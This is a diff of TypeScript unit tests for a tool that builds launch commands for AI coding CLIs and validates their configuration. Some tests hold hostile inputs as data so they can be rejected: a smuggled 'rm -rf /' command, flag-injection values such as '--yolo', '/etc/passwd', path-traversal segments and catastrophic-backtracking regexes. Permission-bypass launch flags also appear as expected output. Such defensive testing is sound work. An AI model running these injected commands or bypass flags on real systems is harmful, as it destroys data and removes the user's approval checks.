return { ...actual, resolveSessionCliVersion: vi.fn((mode: string) => versions[mode] ?? null) };
});
vi.mock('../src/utils/claude-cli-resolver.js', async (importOriginal) => {
const actual = await importOriginal<typeof import('../src/utils/claude-cli-resolver.js')>();
return { ...actual, getClaudeCliVersion: vi.fn(() => '2.1.316') };
});
const { getCli } = await import('../src/config/cli-registry/registry.js');
const { buildSpawnCommandFromRegistry, launchGatePasses } = await import('../src/session-cli-registry-bridge.js');
const SID = '00000000-0000-4000-8000-000000000000';
function codexCommand(): string | undefined {
return buildSpawnCommandFromRegistry(getCli('codex')!, { mode: 'codex', sessionId: SID });
}
describe('launch gates read the gated CLI version', () => {
beforeEach(() => {
for (const key of Object.keys(versions)) delete versions[key];
});
it("does not pass codex's gate on claude's version", () => {
versions.claude = '2.1.316';
versions.codex = '0.161.0';
expect(codexCommand()).toBe('codex');
expect(launchGatePasses('codex', 'noDaemonFlag')).toBe(false);
});
it("passes codex's gate on codex's own version", () => {
versions.codex = '0.162.0';
expect(codexCommand()).toBe('codex --no-daemon');
expect(launchGatePasses('codex', 'noDaemonFlag')).toBe(true);
});
it('fails closed when the codex version is unknown', () => {
versions.claude = '2.1.316';
expect(codexCommand()).toBe('codex');
});
it("still measures claude's gates on claude's version", () => {
versions.claude = '2.1.316';
versions.codex = '0.1.0';
expect(launchGatePasses('claude', 'nameFlag')).toBe(true);
});
});
+13 -5
View File
@@ -95,15 +95,19 @@ const ALLOWED_BRANCHES: Record<string, Allowance> = {
"web/routes/session-routes.ts::mode === 'antigravity'": allow(2, 'legacy <Mode>Config plumbing'),
"web/routes/session-routes.ts::mode === 'pi'": allow(2, 'legacy <Mode>Config plumbing'),
"web/routes/session-routes.ts::mode === 'grok'": allow(2, 'legacy <Mode>Config plumbing'),
"web/routes/session-routes.ts::mode === 'copilot'": allow(2, 'legacy <Mode>Config plumbing'),
"web/routes/session-routes.ts::mode === 'deepseek'": allow(2, 'legacy <Mode>Config plumbing'),
"web/routes/session-routes.ts::mode === 'jcode'": allow(2, 'legacy <Mode>Config plumbing'),
"web/server.ts::mode === 'opencode'": allow(1, 'legacy <Mode>Config plumbing (session recovery)'),
"web/server.ts::mode === 'codex'": allow(1, 'legacy <Mode>Config plumbing (session recovery)'),
"web/server.ts::mode === 'gemini'": allow(1, 'legacy <Mode>Config plumbing (session recovery)'),
"web/server.ts::mode === 'antigravity'": allow(1, 'legacy <Mode>Config plumbing (session recovery)'),
"web/server.ts::mode === 'pi'": allow(1, 'legacy <Mode>Config plumbing (session recovery)'),
"web/server.ts::mode === 'grok'": allow(1, 'legacy <Mode>Config plumbing (session recovery)'),
"web/server.ts::mode === 'copilot'": allow(1, 'legacy <Mode>Config plumbing (session recovery)'),
"web/server.ts::mode === 'deepseek'": allow(1, 'legacy <Mode>Config plumbing (session recovery)'),
"web/server.ts::mode === 'omp'": allow(1, 'legacy <Mode>Config plumbing (session recovery)'),
"web/server.ts::mode === 'jcode'": allow(1, 'legacy <Mode>Config plumbing (session recovery)'),
// --- Claude's remote/docker command construction ---
"tmux-manager.ts::mode === 'claude'": allow(
@@ -165,7 +169,6 @@ const ALLOWED_BRANCHES: Record<string, Allowance> = {
),
"tui/tui-render.ts::mode !== 'claude'": allow(1, 'cosmetic: suppress the mode badge for the default mode'),
// Legacy <Mode>Config plumbing, same category as the `===` entries above.
"web/routes/session-routes.ts::mode !== 'omp'": allow(
2,
@@ -173,7 +176,7 @@ const ALLOWED_BRANCHES: Record<string, Allowance> = {
'chain (see the opencode entry below)'
),
// ⚠️ Scaffolded-case hooks. This chain excludes seven CLIs but NOT `deepseek`, while its
// ⚠️ Scaffolded-case hooks. This chain excludes eight CLIs but NOT `deepseek`, while its
// own comment says DeepSeek uses its own system — so a scaffolded deepseek case gets a
// Claude hooks block written into it. That inconsistency is UPSTREAM's and predates this
// change; expressing the chain as a capability would have to pick a side and would
@@ -188,6 +191,7 @@ const ALLOWED_BRANCHES: Record<string, Allowance> = {
"web/routes/session-routes.ts::mode !== 'antigravity'": allow(1, 'scaffolded-case hooks (see the opencode entry)'),
"web/routes/session-routes.ts::mode !== 'pi'": allow(1, 'scaffolded-case hooks (see the opencode entry)'),
"web/routes/session-routes.ts::mode !== 'grok'": allow(1, 'scaffolded-case hooks (see the opencode entry)'),
"web/routes/session-routes.ts::mode !== 'jcode'": allow(1, 'scaffolded-case hooks (see the opencode entry)'),
};
/** Every stock CLI id, derived rather than restated so a new entry is covered automatically. */
@@ -210,8 +214,10 @@ const ID_ALT = IDS.join('|');
*/
const BRANCH_PATTERN = new RegExp(
[
// mode === 'codex' / mode !== 'codex'
`\\b(?:mode|id|agentType)\\s*[!=]==\\s*'(?:${ID_ALT})'`,
// mode === 'codex' / mode !== 'codex'. `cli` is the name the local model catalogue gives
// the same thing (`LocalHarnessEntry.cli`, `Candidate.cli`), so `harness.cli === 'claude'`
// is the same banned branch under another field name.
`\\b(?:mode|id|agentType|cli)\\s*[!=]==\\s*'(?:${ID_ALT})'`,
// case 'codex':
`\\bcase\\s+'(?:${ID_ALT})'\\s*:`,
// ['codex', 'gemini'].includes(mode) — the id list IS the branch, wherever `mode` sits
@@ -265,7 +271,7 @@ function scan(): { findings: Finding[]; filesScanned: number } {
lines.forEach((line, i) => {
BRANCH_PATTERN.lastIndex = 0; // shared /g regex — see utils/regex-patterns.ts
for (const match of line.matchAll(BRANCH_PATTERN)) {
const expression = match[0].replace(/\s+/g, ' ').replace(/^(?:id|agentType)/, 'mode');
const expression = match[0].replace(/\s+/g, ' ').replace(/^(?:id|agentType|cli)/, 'mode');
const posix = rel.split(sep).join('/');
findings.push({ file: posix, expression, line: i + 1, key: `${posix}::${expression}` });
}
@@ -335,6 +341,8 @@ describe('no CLI-id branching outside the stock catalog', () => {
"if (mode !== 'shell' && mode !== 'deepseek') { doSomething(); }",
"switch (mode) { case 'gemini': return 1; }",
"if (['codex', 'gemini'].includes(mode)) { doSomething(); }",
"if (harness.cli === 'claude') { doSomething(); }",
"const others = candidates.filter((c) => c.cli !== 'opencode');",
];
for (const sample of samples) {
BRANCH_PATTERN.lastIndex = 0;
+174 -4
View File
@@ -55,6 +55,65 @@ describe('customModelInjection.launchModel', () => {
});
});
/** Mutates the shipped deepseek configDir recipe (the one real-home-linking entry) and expects rejection. */
function expectRejectedOnDeepSeek(mutate: (recipe: Record<string, unknown>) => void, because: string): void {
const entry = baseEntry('deepseek');
const recipe = (entry.capabilities as Record<string, unknown>).customModelInjection as Record<string, unknown>;
mutate(recipe);
const result = CliEntrySchema.safeParse(entry);
expect(result.success, `expected rejection: ${because}`).toBe(false);
}
describe('configDir real-home linking (linkFromRealHome / realHomeFallback)', () => {
it('rejects a realHomeFallback that is not a single relative path segment', () => {
// The consumer joins it under the user's home, so any of these escapes that home:
// and bare `.` IS that home: linking through it would expose the whole tree
// unshielded instead of just the declared segments.
for (const bad of ['../x', '.dsh/evil', '/.dsh', '..', '.']) {
expectRejectedOnDeepSeek((r) => {
r.realHomeFallback = bad;
}, `realHomeFallback ${JSON.stringify(bad)}`);
}
});
it('accepts a shipped-style dot-prefixed segment', () => {
const entry = baseEntry('deepseek');
expect(CliEntrySchema.safeParse(entry).success).toBe(true); // ships as `.dsh`
const recipe = (entry.capabilities as Record<string, unknown>).customModelInjection as Record<string, unknown>;
recipe.realHomeFallback = '.dsh-relocated';
expect(CliEntrySchema.safeParse(entry).success).toBe(true);
});
it('requires realHomeFallback whenever linkFromRealHome is declared', () => {
expectRejectedOnDeepSeek((r) => {
delete r.realHomeFallback;
}, 'without it the consumer would have to hardcode a per-CLI home default');
});
it('rejects a linked entry that collides with fileName', () => {
// A symlink at the generated file's own name would write THROUGH into the user's real config.
expectRejectedOnDeepSeek((r) => {
r.linkFromRealHome = ['cordis.patch.yml', 'profiles'];
}, 'linkFromRealHome containing fileName');
});
it('requires linkFromRealHomeDirs to be a subset of linkFromRealHome', () => {
// types.ts documents the rule; a name absent from the linked list names nothing,
// so the create-missing-directory behaviour would silently never apply to it.
expectRejectedOnDeepSeek((r) => {
r.linkFromRealHome = ['profiles', 'settings.yaml'];
r.linkFromRealHomeDirs = ['profiles', 'sessions'];
}, 'linkFromRealHomeDirs naming an unlinked entry');
// The shipped recipe is a valid subset (deepseek: profiles and sessions are dirs
// of the three linked entries) and keeps loading.
const entry = baseEntry('deepseek');
const recipe = (entry.capabilities as Record<string, unknown>).customModelInjection as Record<string, unknown>;
expect(recipe.linkFromRealHome).toEqual(['profiles', 'sessions', 'settings.yaml']);
expect(recipe.linkFromRealHomeDirs).toEqual(['profiles', 'sessions']);
expect(CliEntrySchema.safeParse(entry).success).toBe(true);
});
});
describe('the shipped catalog', () => {
it('validates every stock entry exactly as shipped', () => {
// If this fails, the catalog cannot load at all — every other test here is downstream.
@@ -184,6 +243,69 @@ describe('workDetect.workingLine is guarded like every other config regex', () =
}
});
it('holds the optional composerFooterLine to the same guard', () => {
// Run over the rows under the composer each time guarded input reads the pane.
for (const composerFooterLine of ['(a+)+b', 'a'.repeat(201), '([unclosed', '']) {
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).workDetect = {
promptGlyph: '>',
workingLine: 'working',
composerFooterLine,
};
}, 'guarded input tests it against pane rows a clis.json override can supply');
}
});
it('accepts every shipped composerFooterLine', () => {
for (const entry of STOCK_CLIS) {
const src = entry.capabilities.workDetect?.composerFooterLine;
if (!src) continue;
expect(compileVersionRegex(src), `${entry.id} declares a composerFooterLine the guard refuses`).not.toBeNull();
}
});
it('holds the optional composerPopupLine to the same guard, and accepts the shipped one', () => {
// Run over the rows just above the composer each time guarded input reads the pane.
for (const composerPopupLine of ['(a+)+b', 'a'.repeat(201), '([unclosed', '']) {
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).workDetect = {
promptGlyph: '>',
workingLine: 'working',
composerPopupLine,
};
}, 'guarded input tests it against pane rows a clis.json override can supply');
}
for (const entry of STOCK_CLIS) {
const src = entry.capabilities.workDetect?.composerPopupLine;
if (src)
expect(compileVersionRegex(src), `${entry.id} declares a composerPopupLine the guard refuses`).not.toBeNull();
}
});
it('takes only short runs of ASCII punctuation as composer trigger characters', () => {
for (const field of ['composerCommandPrefixes', 'composerCompletionSigils']) {
for (const value of ['', 'a', '/a', '/ ', '/\t', '\u00a7', '!!!!!!!!!']) {
expectRejected(
(e) => {
(e.capabilities as Record<string, unknown>).workDetect = {
promptGlyph: '>',
workingLine: 'working',
[field]: value,
};
},
`${field} ${JSON.stringify(value)} would refuse letters, spaces or an unbounded set`
);
}
const entry = baseEntry();
(entry.capabilities as Record<string, unknown>).workDetect = {
promptGlyph: '>',
workingLine: 'working',
[field]: '/!@$',
};
expect(CliEntrySchema.safeParse(entry).success, field).toBe(true);
}
});
it('holds the optional blockedLine to the same guard', () => {
// Run over the foot of a capture at every settle and on a timer while a dialog is
// up, and a clis.json override can set it.
@@ -328,7 +450,7 @@ describe('cross-field integrity', () => {
// shipped entry must be on the param side of that line.
const codex = STOCK_CLIS.find((e) => (e.id as string) === 'codex');
expect(codex).toBeDefined();
expect(codex!.capabilities.privilegedParams.map((c) => c.param)).toEqual(['bypassApprovals']);
expect(codex!.capabilities.privilegedParams.map((c) => c.param)).toEqual(['bypassApprovals', 'networkAccess']);
expect(codex!.launch.legacyConfigAliases?.bypassApprovals).toBe('dangerouslyBypassApprovals');
const wrong = baseEntry('codex');
@@ -485,10 +607,58 @@ describe('capability shapes', () => {
}, 'transcriptPageKeys is a boolean');
});
it("takes keyboardHold as an optional 'inline', absent meaning the keyboard resizes", () => {
const inline = baseEntry();
(inline.capabilities as Record<string, unknown>).keyboardHold = 'inline';
expect(CliEntrySchema.safeParse(inline).success).toBe(true);
const absent = baseEntry();
delete (absent.capabilities as Record<string, unknown>).keyboardHold;
expect(CliEntrySchema.safeParse(absent).success).toBe(true);
for (const value of [true, 'fullscreen', '']) {
expectRejected(
(e) => {
(e.capabilities as Record<string, unknown>).keyboardHold = value;
},
`keyboardHold=${JSON.stringify(value)} names no renderer kind`
);
}
});
it('declares keyboardHold for exactly the inline renderer measured losing lines on a height change', () => {
// Claude Code 2.1.306's inline renderer was measured dropping transcript lines from
// tmux on keyboard-driven height changes; every other stock entry resizes.
const holding = STOCK_CLIS.filter((e) => e.capabilities.keyboardHold === 'inline').map((e) => e.id as string);
expect(holding).toEqual(['claude']);
});
it('declares which CLIs get the wheel forwarded, and whether a version gates it', () => {
// Claude forwards from 2.1.187 (fullscreen only); tracked Codex and Copilot
// forward without a version gate, and so does pi. Unmeasured entries stay 'never'.
const mode = (id: string) => STOCK_CLIS.find((e) => (e.id as string) === id)?.capabilities.wheelForward;
expect(mode('copilot')).toEqual({ mode: 'always' });
expect(mode('claude')).toEqual({ mode: 'version-gated', minVersion: '2.1.187' });
const forwarding = STOCK_CLIS.filter((e) => e.capabilities.wheelForward.mode !== 'never').map(
(e) => e.id as string
);
expect(forwarding.sort()).toEqual(['claude', 'codex', 'copilot', 'pi']);
expect(CliEntrySchema.safeParse(baseEntry('copilot')).success).toBe(true);
});
it('declares transcriptPageKeys for exactly the CLIs measured to page on PageUp/PageDown', () => {
// claude (repaint mode), codex and opencode (both on the alternate screen) were
// measured paging their own transcript on PageUp/PageDown; no other stock entry has been.
// claude (repaint mode), codex, opencode, copilot and jcode (all on the alternate screen)
// were measured paging their own transcript on PageUp/PageDown; no other stock entry has been.
// pi pages too when fullscreen, and stays out on purpose: in `tuiMode: regular` the same keys
// move the caret of a multi-line draft.
const paging = STOCK_CLIS.filter((e) => e.capabilities.transcriptPageKeys === true).map((e) => e.id as string);
expect(paging.sort()).toEqual(['claude', 'codex', 'opencode']);
expect(paging.sort()).toEqual(['claude', 'codex', 'copilot', 'jcode', 'opencode']);
});
});
describe('observed mouse-tracking wheel policy', () => {
it('advertises and validates tracked Codex forwarding without a fictitious minimum version', () => {
const codex = STOCK_CLIS.find((e) => e.id === 'codex')!;
expect(codex.capabilities.wheelForward).toEqual({ mode: 'always' });
expect(CliEntrySchema.safeParse(codex).success).toBe(true);
expect(codex.capabilities.transcriptPageKeys).toBe(true);
});
});
+162
View File
@@ -102,6 +102,30 @@ describe('claude', () => {
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666"'
);
});
it('folds the keep-warm idleCompaction opt-out LAST into the one --settings JSON, and only when asked', () => {
const launch = {
claudeCliVersion: '2.1.300',
statusLineCommand: '/x/exporter.sh',
advisorModel: 'opus',
sessionName: 'w1 alpha',
};
// Keep-warm off: byte-identical to the launch from before keep-warm existed.
expect(claude(launch)).toBe(
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666" ' +
'--settings \'{"advisorModel":"opus","statusLine":{"type":"command","command":"/x/exporter.sh"}}\' --name "w1 alpha"'
);
expect(claude({ ...launch, effort: 'ultracode', idleCompactionOff: true })).toBe(
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666" ' +
'--settings \'{"ultracode":true,"advisorModel":"opus","statusLine":{"type":"command","command":"/x/exporter.sh"},"idleCompaction":false}\' --name "w1 alpha"'
);
// The builder folds the key whenever asked, even with nothing else in the JSON (the
// launch only asks alongside the exporter, but the builder does not rely on that).
expect(claude({ idleCompactionOff: true })).toBe(
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666" ' +
'--settings \'{"idleCompaction":false}\''
);
});
});
describe('opencode', () => {
@@ -147,6 +171,15 @@ describe('codex', () => {
expect(cx({ model: 'gpt-5', resumeSessionId: 'roll_42' })).toBe('codex --model gpt-5 resume roll_42');
});
it('carries an Ollama-style `qwen3:32b` model id, and still drops a leading-flag shape', () => {
// `model-plain-colon`: the custom-model feature forces the selected id onto this param,
// and ids like `qwen3:32b` carry a colon. The leading-alphanumeric rule is what keeps a
// flag from riding the flag, so `:x` and `-x` must still drop out.
expect(cx({ model: 'qwen3:32b' })).toBe('codex --model qwen3:32b');
expect(cx({ model: ':leading' })).toBe('codex');
expect(cx({ model: '-yolo' })).toBe('codex');
});
it('sends reasoning effort as one model_reasoning_effort config value, for every level', () => {
for (const level of CODEX_REASONING_EFFORTS) {
expect(cx({ reasoningEffort: level })).toBe(`codex --config model_reasoning_effort=${level}`);
@@ -158,6 +191,45 @@ describe('codex', () => {
'codex --model gpt-5 --config model_reasoning_effort=high resume roll_42'
);
});
it('emits the sandbox network-access config only when asked', () => {
expect(cx({ networkAccess: true })).toBe('codex --config sandbox_workspace_write.network_access=true');
expect(cx({ networkAccess: false })).toBe('codex');
});
it('never pairs network access with a sandbox mode (owner decision, 2026-11-06)', () => {
// A folder codex runs read-only must stay read-only: it keeps the network closed and asks
// per command. `--sandbox workspace-write` here would also grant write access to it.
for (const version of ['0.162.0', null]) {
const command = render({
mode: 'codex',
sessionId: SID,
codexConfig: { networkAccess: true },
claudeCliVersion: version,
});
expect(command).not.toContain('--sandbox');
expect(command).not.toContain('-s ');
}
});
// The `claudeCliVersion` option is the version every gate of THIS entry is measured
// against (the name predates a second gated CLI); undefined probes codex itself.
const cxv = (version: string | null, codexConfig?: SpawnBridgeOptions['codexConfig']) =>
render({ mode: 'codex', sessionId: SID, codexConfig, claudeCliVersion: version });
it('runs without the shared app-server daemon from 0.162.0, and fails closed below or unknown', () => {
expect(cxv('0.162.0')).toBe('codex --no-daemon');
expect(cxv('0.166.0')).toBe('codex --no-daemon');
expect(cxv('0.161.9')).toBe('codex');
expect(cxv(null)).toBe('codex');
});
it('keeps every flag ahead of the resume subcommand with the daemon flag on', () => {
expect(cxv('0.162.0', { dangerouslyBypassApprovals: true, networkAccess: true, resumeSessionId: 'roll_42' })).toBe(
'codex --no-daemon --dangerously-bypass-approvals-and-sandbox ' +
'--config sandbox_workspace_write.network_access=true resume roll_42'
);
});
});
describe('gemini', () => {
@@ -254,6 +326,27 @@ describe('grok', () => {
});
});
describe('jcode', () => {
const jc = (jcodeConfig?: SpawnBridgeOptions['jcodeConfig']) => render({ mode: 'jcode', sessionId: SID, jcodeConfig });
it('spawns bare by default: no bypass flag exists to send', () => {
expect(jc()).toBe('jcode');
});
it('passes --model and --resume', () => {
expect(jc({ model: 'claude-opus-4-8' })).toBe('jcode --model claude-opus-4-8');
expect(jc({ resumeSessionId: 'session_fox_1792160401272_f5b47ce47d631006' })).toBe(
'jcode --resume session_fox_1792160401272_f5b47ce47d631006'
);
expect(jc({ model: 'gpt-5.5', resumeSessionId: 'fox' })).toBe('jcode --model gpt-5.5 --resume fox');
});
it('drops a resume value that would read as a flag of its own', () => {
// --resume's value is optional in jcode, so `--resume --no-update` is two flags.
expect(jc({ resumeSessionId: '--no-update' })).toBe('jcode');
});
});
describe('deepseek', () => {
const ds = (deepSeekConfig?: SpawnBridgeOptions['deepSeekConfig']) =>
render({ mode: 'deepseek', sessionId: SID, deepSeekConfig });
@@ -320,3 +413,72 @@ describe('unsafe values are DROPPED, never escaped into the command', () => {
expect(cmd).not.toContain('..');
});
});
describe('copilot', () => {
const cp = (copilotConfig?: SpawnBridgeOptions['copilotConfig']) =>
render({ mode: 'copilot' as never, sessionId: SID, copilotConfig });
it("spawns bare by default, in Copilot's own Manual Approval mode", () => {
expect(cp()).toBe('copilot');
});
it('emits --yolo only when asked, with the model', () => {
expect(cp({ allowAll: true, model: 'claude-sonnet-5.5' })).toBe('copilot --yolo --model claude-sonnet-5.5');
expect(cp({ allowAll: false })).toBe('copilot');
});
it("pins the tab's name as --name", () => {
expect(render({ mode: 'copilot' as never, sessionId: SID, sessionName: 'w4-Codeman' } as never)).toBe(
'copilot --name "w4-Codeman"'
);
});
it('drops --name next to --resume and --continue, which copilot refuses to combine', () => {
const named = (copilotConfig: SpawnBridgeOptions['copilotConfig']) =>
render({ mode: 'copilot' as never, sessionId: SID, sessionName: 'w4-Codeman', copilotConfig } as never);
expect(named({ resumeSessionId: '0c02c30f' })).toBe('copilot --resume 0c02c30f');
expect(named({ continueSession: true })).toBe('copilot --continue');
expect(named({ allowAll: true, model: 'auto' })).toBe('copilot --yolo --name "w4-Codeman" --model auto');
});
it('prefers an explicit resume id over --continue', () => {
expect(cp({ resumeSessionId: '0c02c30f-3383-4139-8b52-b28abad2ad43' })).toBe(
'copilot --resume 0c02c30f-3383-4139-8b52-b28abad2ad43'
);
expect(cp({ continueSession: true })).toBe('copilot --continue');
expect(cp({ continueSession: true, resumeSessionId: '0c02c30f' })).toBe('copilot --resume 0c02c30f');
});
it('drops unsafe values rather than escaping them', () => {
expect(cp({ model: 'a`b' })).toBe('copilot');
expect(cp({ resumeSessionId: 'my session; rm -rf /' })).toBe('copilot');
});
// `--resume`'s value is optional, so `--resume --yolo` would make `--yolo` its own flag and get
// around the allowAll clamp. A resume value must start with an alphanumeric.
it('drops a resume value that would be read as a flag', () => {
for (const resumeSessionId of ['--yolo', '-n', '--allow-all-tools', '.', '..', '.hidden']) {
expect(cp({ resumeSessionId })).toBe('copilot');
}
expect(cp({ allowAll: false, resumeSessionId: '--yolo' })).toBe('copilot');
// A plain word is still passed through (a session NAME also resumes).
expect(cp({ resumeSessionId: 'my-feature' })).toBe('copilot --resume my-feature');
});
// `--model --yolo` would make `--yolo` its own flag and get around the allowAll clamp, so a model id
// starts with an alphanumeric too. A provider/id value (the `/`) is still accepted.
it('drops a model value that would be read as a flag', () => {
for (const model of ['--yolo', '-n', '--allow-all-tools', '.', '/etc/passwd']) {
expect(cp({ model })).toBe('copilot');
expect(cp({ allowAll: false, model })).toBe('copilot');
}
expect(cp({ model: 'claude-sonnet-5.5' })).toBe('copilot --model claude-sonnet-5.5');
expect(cp({ model: 'openai/gpt-5' })).toBe('copilot --model openai/gpt-5');
});
it('never puts a credential on the command line', () => {
const cmd = cp({ allowAll: true, model: 'auto' }) ?? '';
expect(cmd).not.toContain('token');
expect(cmd).not.toContain('key');
});
});
+102
View File
@@ -0,0 +1,102 @@
/**
* @fileoverview Issue #706 tunnel flag plumbing through the real command parser into daemon, foreground and service launches. Launch boundaries are mocked, so the CLI's valid nonzero port never binds a socket or creates a service unit.
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
const launches = vi.hoisted(() => ({
startDaemon: vi.fn(),
startWebServer: vi.fn(),
installService: vi.fn(),
stop: vi.fn(),
}));
vi.mock('../src/daemon-control.js', async (importOriginal) => ({
...(await importOriginal<typeof import('../src/daemon-control.js')>()),
startDaemon: launches.startDaemon,
}));
vi.mock('../src/service-installer.js', async (importOriginal) => ({
...(await importOriginal<typeof import('../src/service-installer.js')>()),
installService: launches.installService,
}));
vi.mock('../src/web/server.js', () => ({ startWebServer: launches.startWebServer }));
const SIGNALS = ['SIGTERM', 'SIGINT', 'SIGHUP'] as const;
let originalListeners: Map<NodeJS.Signals, ReturnType<typeof process.listeners>>;
let exitSpy: ReturnType<typeof vi.spyOn<typeof process, 'exit'>>;
beforeEach(() => {
// Commander retains parsed option values; use a fresh real program for each invocation.
vi.resetModules();
vi.clearAllMocks();
originalListeners = new Map(SIGNALS.map((signal) => [signal, process.listeners(signal)]));
exitSpy = vi.spyOn(process, 'exit').mockImplementation((code) => {
throw new Error(`Unexpected process.exit(${code})`);
});
launches.startDaemon.mockResolvedValue({ ok: true, url: 'http://127.0.0.1:8080', pid: 123, logPath: 'web.log' });
launches.stop.mockResolvedValue(undefined);
launches.startWebServer.mockResolvedValue({ stop: launches.stop });
launches.installService.mockResolvedValue({ ok: true, message: 'Installed', unitPath: 'codeman-web.service' });
});
afterEach(() => {
for (const signal of SIGNALS) {
for (const listener of process.listeners(signal)) {
if (!originalListeners.get(signal)!.includes(listener)) process.removeListener(signal, listener);
}
}
vi.restoreAllMocks();
});
const expectedOptions = (allowUnauthenticatedTunnel: boolean) => ({
host: '127.0.0.1',
port: 8080,
https: false,
basePath: '',
titleHostname: undefined,
allowUnauthenticatedNetwork: false,
allowUnauthenticatedTunnel,
multiuser: false,
});
async function parse(args: string[], enabled: boolean) {
const { program } = await import('../src/cli.js');
await program.parseAsync([
'node',
'codeman',
...args,
'--port',
'8080',
'--host',
'127.0.0.1',
'--base-url',
'/',
...(enabled ? ['--allow-unauthenticated-tunnel'] : []),
]);
expect(exitSpy).not.toHaveBeenCalled();
}
describe('tunnel flag CLI plumbing', () => {
it.each([true, false])('web -d passes allowUnauthenticatedTunnel=%s to startDaemon', async (enabled) => {
await parse(['web', '-d'], enabled);
expect(launches.startDaemon.mock.calls).toEqual([[expectedOptions(enabled)]]);
expect(launches.startWebServer.mock.calls).toEqual([]);
expect(launches.installService.mock.calls).toEqual([]);
});
it.each([true, false])('foreground web passes allowUnauthenticatedTunnel=%s as argument eight', async (enabled) => {
await parse(['web'], enabled);
expect(launches.startWebServer.mock.calls).toEqual([
[8080, false, false, '127.0.0.1', undefined, false, '', enabled],
]);
expect(launches.startDaemon.mock.calls).toEqual([]);
expect(launches.installService.mock.calls).toEqual([]);
expect(launches.stop.mock.calls).toEqual([]);
});
it.each([true, false])('service install passes allowUnauthenticatedTunnel=%s to installService', async (enabled) => {
await parse(['service', 'install'], enabled);
expect(launches.installService.mock.calls).toEqual([[expectedOptions(enabled)]]);
expect(launches.startDaemon.mock.calls).toEqual([]);
expect(launches.startWebServer.mock.calls).toEqual([]);
});
});
+188
View File
@@ -0,0 +1,188 @@
/**
* @fileoverview Frontend test for Clone Repo's custom folder (session-ui.js `cloneCase()` /
* `_cloneTargetPath()`): the chosen folder is the PARENT, so the clone request carries
* `<folder>/<case name>` exactly as Create New does, and without the checkbox no `path` is sent
* (the server then clones to `~/codeman-cases/<name>`). The "Will clone into" line has to name the
* folder the request will really use, so it follows every way the name or the folder can change:
* typing, the URL, the preflight's suggested name and the Browse picker. Runs against the real
* index.html markup.
*
* Port: none.
*/
import { readFileSync } from 'node:fs';
import { JSDOM } from 'jsdom';
import { describe, expect, it, vi } from 'vitest';
const INDEX_HTML = readFileSync(new URL('../src/web/public/index.html', import.meta.url), 'utf-8');
const CONSTANTS_JS = readFileSync(new URL('../src/web/public/constants.js', import.meta.url), 'utf-8');
const SESSION_UI_JS = readFileSync(new URL('../src/web/public/session-ui.js', import.meta.url), 'utf-8');
function bootClone() {
const dom = new JSDOM(INDEX_HTML, { url: 'http://localhost/', runScripts: 'outside-only' });
const win = dom.window as unknown as Window & typeof globalThis & { CodemanApp: new () => any };
const run = (src: string) => (win as unknown as { eval: (s: string) => void }).eval(src);
run('window.CodemanApp = function CodemanApp() {};');
run(CONSTANTS_JS);
run(SESSION_UI_JS);
const app = new win.CodemanApp();
app.showToast = () => {};
app._setCloneStatus = () => {};
app.closeCreateCaseModal = () => {};
app.loadQuickStartCases = async () => {};
app.saveLastUsedCase = async () => {};
const fetchMock = vi.fn(async () => ({ json: async () => ({ success: true, data: {} }) }));
(win as unknown as { fetch: unknown }).fetch = fetchMock;
const doc = win.document;
const set = (id: string, value: string) => ((doc.getElementById(id) as HTMLInputElement).value = value);
set('cloneRepoUrl', 'https://github.com/opticon454/bifrost');
set('cloneCaseName', 'bifrost');
const preview = () => doc.getElementById('cloneCasePathPreview')?.textContent;
return { app, win, doc, set, preview, fetchMock };
}
async function requestBody(fetchMock: ReturnType<typeof vi.fn>) {
const [url, init] = fetchMock.mock.calls[0] as unknown as [string, { body: string }];
return { url, body: JSON.parse(init.body) };
}
describe('Clone Repo custom folder', () => {
it('sends <folder>/<case name> as the path and previews it', async () => {
const { app, doc, set, fetchMock } = bootClone();
(doc.getElementById('cloneCustomPathToggle') as HTMLInputElement).checked = true;
set('cloneCasePath', '/mnt/user/Scripts/GitHub/opticon454/');
app.updateCloneCasePathPreview();
expect(doc.getElementById('cloneCasePathPreview')?.textContent).toBe(
'Will clone into: /mnt/user/Scripts/GitHub/opticon454/bifrost'
);
await app.cloneCase();
const { url, body } = await requestBody(fetchMock);
expect(url).toBe('/api/cases/clone');
expect(body.path).toBe('/mnt/user/Scripts/GitHub/opticon454/bifrost');
expect(body.name).toBe('bifrost');
});
it('follows the case name when it is edited', () => {
const { app, doc, set } = bootClone();
set('cloneCasePath', '~/projects');
set('cloneCaseName', 'other');
app.onCloneNameEdited();
expect(doc.getElementById('cloneCasePathPreview')?.textContent).toBe('Will clone into: ~/projects/other');
});
it('sends no path without the checkbox, even when the folder field still holds one', async () => {
const { app, set, fetchMock } = bootClone();
set('cloneCasePath', '/mnt/user/Scripts/GitHub/opticon454');
await app.cloneCase();
const { body } = await requestBody(fetchMock);
expect(body.path).toBeUndefined();
});
it.each([
['/mnt/projects', '/mnt/projects/bifrost'],
['/mnt/projects///', '/mnt/projects/bifrost'],
[' /mnt/projects/ ', '/mnt/projects/bifrost'],
['/', '/bifrost'],
['~', '~/bifrost'],
['~/', '~/bifrost'],
])('joins the parent %j to the case name', (parent, target) => {
const { app, set } = bootClone();
set('cloneCasePath', parent);
expect(app._cloneTargetPath()).toBe(target);
});
it('follows the name the preflight settles on, which is the one the request will carry', async () => {
const { app, doc, set, preview, fetchMock } = bootClone();
(doc.getElementById('cloneCustomPathToggle') as HTMLInputElement).checked = true;
set('cloneCasePath', '/mnt/projects');
// The page's own guess for a URL copied out of a browser tab; the server reads the repo as `repo`.
set('cloneCaseName', 'repo-tab-readme');
app.updateCloneCasePathPreview();
expect(preview()).toBe('Will clone into: /mnt/projects/repo-tab-readme');
app._applyClonePreflight(
{
parse: { cloneable: true, suggestedName: 'repo', provider: 'GitHub', owner: 'owner', repo: 'repo' },
gitAvailable: true,
},
'https://github.com/owner/repo?tab=readme'
);
expect(preview()).toBe('Will clone into: /mnt/projects/repo');
await app.cloneCase();
const { body } = await requestBody(fetchMock);
expect(body).toMatchObject({ name: 'repo', path: '/mnt/projects/repo' });
});
it('sends the folder Browse picked as the parent, and titles the picker as the parent', async () => {
const { app, win, doc, preview, fetchMock } = bootClone();
